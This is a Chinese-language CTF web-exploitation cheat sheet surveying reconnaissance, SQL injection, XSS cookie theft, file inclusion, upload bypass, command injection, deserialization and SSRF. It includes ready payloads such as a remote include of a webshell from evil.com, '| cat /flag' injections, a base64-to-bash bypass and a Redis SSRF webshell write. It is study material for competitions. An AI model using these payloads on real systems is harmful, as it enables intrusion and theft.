信息收集
- 域名/IP/端口:题目给出的初始信息。
- 源代码查看 (F12):永远首先右键查看页面源代码。注释、隐藏的HTML表单、JS文件中的链接或敏感信息是常见的藏flag地点。
- 目录/文件枚举 (Directory & File Brute-forcing):使用工具(如 dirsearch, gobuster)扫描常见的备份文件(index.php.bak, .git, .DS_Store)、配置文件(config.php)、管理员页面(admin/, login/)等。
命令示例:
dirsearch -u http://target.com -e php,html,js,txt,bak
技术栈识别:网站是用什么搭建的?(PHP/Python/Node.js?) 什么服务器?(Apache/Nginx?) 什么框架?(Flask/Django?) 使用浏览器插件(如 Wappalyzer)或查看HTTP响应头。
HTTP响应头分析:查看Server, X-Powered-By, Set-Cookie等字段,获取服务器信息。
漏洞分析与利用 (Analysis & Exploitation)
根据信息收集的结果,推测可能的漏洞类型。
黑盒测试:像黑客一样从外部测试功能点(登录、上传、搜索、留言等)。
白盒/灰盒测试:如果提供了部分源代码(在PHP题目中很常见),一定要代码审计!仔细阅读源码是快速发现逻辑漏洞的关键。
获取权限 (Gaining Access)
利用漏洞获取系统权限(webshell)、数据库权限或读取敏感文件。
解题思路
权限维持与提权 (Maintaining Access & Privilege Escalation)
在更复杂的题目中,可能需要将webshell权限提升为更高用户(如root)的权限。
在CTF中,这一步有时不那么常见,但也是高级题的考点。
提取Flag (Flag Extraction)
Flag可能藏在:
数据库里
服务器的某个文件里(/flag, /etc/passwd)
环境变量里
当前目录或上级目录的文件里
Web漏洞类型
- SQL注入 (SQL Injection)
考点:通过用户输入点(如登录框、搜索框、URL参数)篡改SQL查询逻辑。
标志:URL类似 article.php?id=1
解题步骤:
判断注入类型:数字型还是字符型(是否带引号)。
判断数据库类型:MySQL, PostgreSQL, SQLite, MSSQL?手法略有不同。MySQL最常见。
手动探测或使用工具:
手动:使用 and 1=1 / and 1=2, ' and '1'='1 / ' and '1'='2 测试。
工具:使用 sqlmap 自动化检测和利用。
命令示例:sqlmap -u "http://target.com/article?id=1" --batch --dbs (爆数据库名)
利用方式:
联合查询:union select 直接查询出数据。需要判断列数。
布尔/时间盲注:当页面没有回显时,通过页面真假或响应时间差异来逐位提取数据。
报错注入:利用数据库报错信息带出查询结果。
读写文件:load_file() 读取服务器文件(如 /etc/passwd 或源码),into outfile 写入webshell。
防御绕过:注意过滤了哪些关键词(select, union, 空格等),尝试用大小写、双写、注释符、十六进制等方式绕过。
- 跨站脚本 (XSS - Cross-Site Scripting)
考点:在用户输入点注入恶意JS代码,盗取Cookie或进行客户端攻击。
标志:留言板、个人信息、搜索框等任何输出点。
解题步骤:
测试输出点:在输入框提交 ``,看是否弹窗。
利用:
反射型/存储型XSS:直接窃取管理员Cookie。搭建一个接收平台(如Burp Collaborator或requestbin),构造payload:``。管理员查看后,Cookie就会发到你的平台。
DOM型XSS:分析前端JS代码,看如何触发的。
注意:XSS在CTF中常与CSRF结合,或者作为盗取管理员Cookie以进入后台的手段。
- 文件包含 (File Inclusion)
考点:利用函数(如PHP的 include, require)动态包含文件时的漏洞。
标志:URL参数包含page, file, include等,如 index.php?page=about.php
类型:
本地文件包含 (LFI):包含服务器上的本地文件。
利用:?page=../../../../etc/passwd (路径遍历),?page=php://filter/convert.base64-encode/resource=config.php (用filter协议读取PHP源码的base64编码)。
远程文件包含 (RFI):包含远程服务器上的文件(需要配置开启,较少见)。
利用:?page=http://evil.com/shell.txt 直接包含远程webshell。
- 文件上传 (File Upload)
考点:绕过上传限制,上传恶意文件(如webshell)。
解题步骤:
分析过滤机制(黑盒或代码审计):
后缀名黑名单/白名单?(.php, .phtml, .phps)
检查文件头(Magic Number)?(GIF89a)
检查内容(是否存在``字符串)?
是否重命名或修改文件?
绕过技巧:
后缀名:.php5, .phtml, .php%00.gif (截断,已修复), .htaccess (配置解析规则)。
文件头:在文件开头添加图片Magic Number,如 GIF89a。
内容:使用图片马,或用特殊语法绕过PHP标签检查,如 ``。
竞争条件:服务器先允许上传,再检查删除,利用这个时间差访问webshell。
- 命令/代码执行 (Command / Code Execution)
考点:用户输入被直接拼接进系统命令或代码执行函数中。
标志:功能如Ping检测、代码执行器。
命令执行:
利用:127.0.0.1; whoami, 127.0.0.1 | cat /flag, 127.0.0.1 && ls ../。
绕过:过滤了空格用 ${IFS} 代替,过滤了命令用base64编码 echo "bHM=" | base64 -d | bash。
代码执行:
PHP:eval($_POST['cmd']);,直接传参 cmd=system('ls');。
Python (Flask):寻找 eval(), pickle.loads(), os.system() 等危险函数。
- 反序列化 (Deserialization)
考点:高级漏洞。当程序反序列化用户可控的数据时,会自动调用一些魔术方法(如 __wakeup(), __destruct()),导致代码执行。
解题步骤:
寻找入口:参数是序列化后的字符串(可能被base64编码)。
代码审计:必须审计源码,找到可用的类链(POP Chain)。
构造Payload:根据链子,构造一个恶意的序列化对象,使其在反序列化时触发危险操作。
工具:PHP的反序列化利用工具可能需要手动编写,Java的反序列化有现成工具(如ysoserial)。
- 服务端请求伪造 (SSRF - Server-Side Request Forgery)
考点:让服务器端代表你发起一个内部网络请求,从而访问内网资源。
标志:功能如“网页快照”、“URL采集”、“转码服务”。
利用:
访问内网应用:http://127.0.0.1:8080/admin
读取本地文件:file:///etc/passwd
攻击Redis/MySQL等内网服务:dict://127.0.0.1:6379/config set dir /var/www/html (写webshell)
- 其他逻辑漏洞 (Logic Flaws)
越权:
水平越权:修改ID参数访问他人的数据,如 user.php?id=10086。
垂直越权:普通用户伪装成管理员,常通过修改Cookie或请求头中的身份标识(如 isAdmin: false -> true)。
密码重置漏洞: token可预测、验证步骤可跳过、邮箱可篡改。
竞争条件: 多线程同时操作,如抢购、转账、上传文件时,利用时间差完成攻击。